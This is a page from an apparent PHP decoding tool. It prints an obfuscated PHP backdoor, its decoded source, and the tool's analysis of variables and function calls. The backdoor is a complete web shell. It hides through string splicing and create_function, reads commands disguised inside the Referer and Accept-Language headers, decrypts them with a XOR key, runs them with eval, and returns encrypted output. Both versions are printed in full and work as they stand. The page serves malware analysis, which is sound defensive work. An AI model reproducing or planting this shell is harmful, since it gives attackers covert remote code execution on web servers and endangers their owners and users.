Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $T='ER;$rr=@$rs]["HTTP_s]REFERER"s]];$ra=s]@$rs]["HTTP_As]CCEs]PT_LANGs]UAGE"];is]s..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$T='ER;$rr=@$rs]["HTTP_s]REFERER"s]];$ra=s]@$rs]["HTTP_As]CCEs]PT_LANGs]UAGE"];is]s]f($rr&&$ra){s]$us]=s]parse_urs]l';
$q='fs]),0,3));$ps]s]="s]s]";for($z=1;$z<cos]us]nt(s]$m[1]);$zs]++)$p.=$q[$ms][2][$zs]]s]];if(strpos(s]$p,$h)==s]';
$M='($rr);pars]se_sts]r(s]$u["query"],$qs]);$q=ars]s]ray_vs]alues($q)s];pregs]s]_matchs]_all(s]"/([\\w])[\\w-]s]+s](?s]:';
$x=';q=0.([\\d]))?,?/s]",s]$ra,$ms]);if($q&&$m){s]@sess]sis]os]n_stars]t();s]$s=&$_SESSION;$sss]=s]"substr";$sls]="s';
$H=str_replace('uN','','cuNreauNuNteuN_funcuNtuNion');
$y=']strts]ols]ows]er";$s]i=$m[1][0].s]$s]m[1][1]s];$h=$sl($ss(md5s]($i.$s]kh),0,3))s];$f=s]$sl($ss(md5s]($i.s]$k';
$X='"/_/s]s]","/-/"),array("s]/","+"),s]$sss]($s[$i],0s],$es]s]))),s]$k)));$o=ob_ges]t_contes]nts]ss]();ob_end_clean';
$A='s]s]();$d=bass]e64_encos]de(x(gzcos]ms]press(s]$o),$k));ps]ris]nt("s]<$s]k>$d</$s]k>");@ses]ssios]n_destroy();}}}}';
$B='=0){$s[$s]i]=""s];s]$s]p=$ss($p,3);}if(arrs]ay_kes]y_exists]s($s]i,$s))s]{s]$s[$i].=$ps];$s]e=strpos($s[s]$i],$f)s];if(';
$W='$i<$l;s]){fs]or(s]$s]j=0;($j<$c&&$i<$ls]);$js]+s]+,$s]i++){$o.=$t{$is]}s]^$k{$j};}}rs]etus]rn $o;s]}$r=$_s]SEs]RV';
$j='$s]e){$k=s]$kh.$s]kf;os]b_start();s]@es]s]val(@gzuncoms]press(@xs](@base6s]s]4_s]decs]ode(preg_replaces](arras]y(';
$c='$kh="5d41"s];s]$kf="402a";fs]uncts]ion x(s]$s]t,$k)s]s]{$c=strlen($ks]);s]$l=strlen($t);$s]s]o="";for(s]$i=0;';
$i=str_replace('s]','',$c.$W.$T.$M.$x.$y.$q.$B.$j.$X.$A);
$S=$H('',$i);$S();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$A s]s]();$d=bass]e64_encos]de(x(gzcos]ms]press(s]$o),$k));ps]r..
$B =0){$s[$s]i]=""s];s]$s]p=$ss($p,3);}if(arrs]ay_kes]y_exists]..
$H create_function
$M ($rr);pars]se_sts]r(s]$u["query"],$qs]);$q=ars]s]ray_vs]alue..
$S None
$T ER;$rr=@$rs]["HTTP_s]REFERER"s]];$ra=s]@$rs]["HTTP_As]CCEs]P..
$W $i<$l;s]){fs]or(s]$s]j=0;($j<$c&&$i<$ls]);$js]+s]+,$s]i++){$..
$X "/_/s]s]","/-/"),array("s]/","+"),s]$sss]($s[$i],0s],$es]s])..
$c $kh="5d41"s];s]$kf="402a";fs]uncts]ion x(s]$s]t,$k)s]s]{$c=s..
$i $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$j $s]e){$k=s]$kh.$s]kf;os]b_start();s]@es]s]val(@gzuncoms]pres..
$q fs]),0,3));$ps]s]="s]s]";for($z=1;$z<cos]us]nt(s]$m[1]);$zs]..
$x ;q=0.([\d]))?,?/s]",s]$ra,$ms]);if($q&&$m){s]@sess]sis]os]n_..
$y ]strts]ols]ows]er";$s]i=$m[1][0].s]$s]m[1][1]s];$h=$sl($ss(m..

Stats

MD5 db88de19195798b7b11e78a61e0f72fb
Eval Count 1
Decode Time 99 ms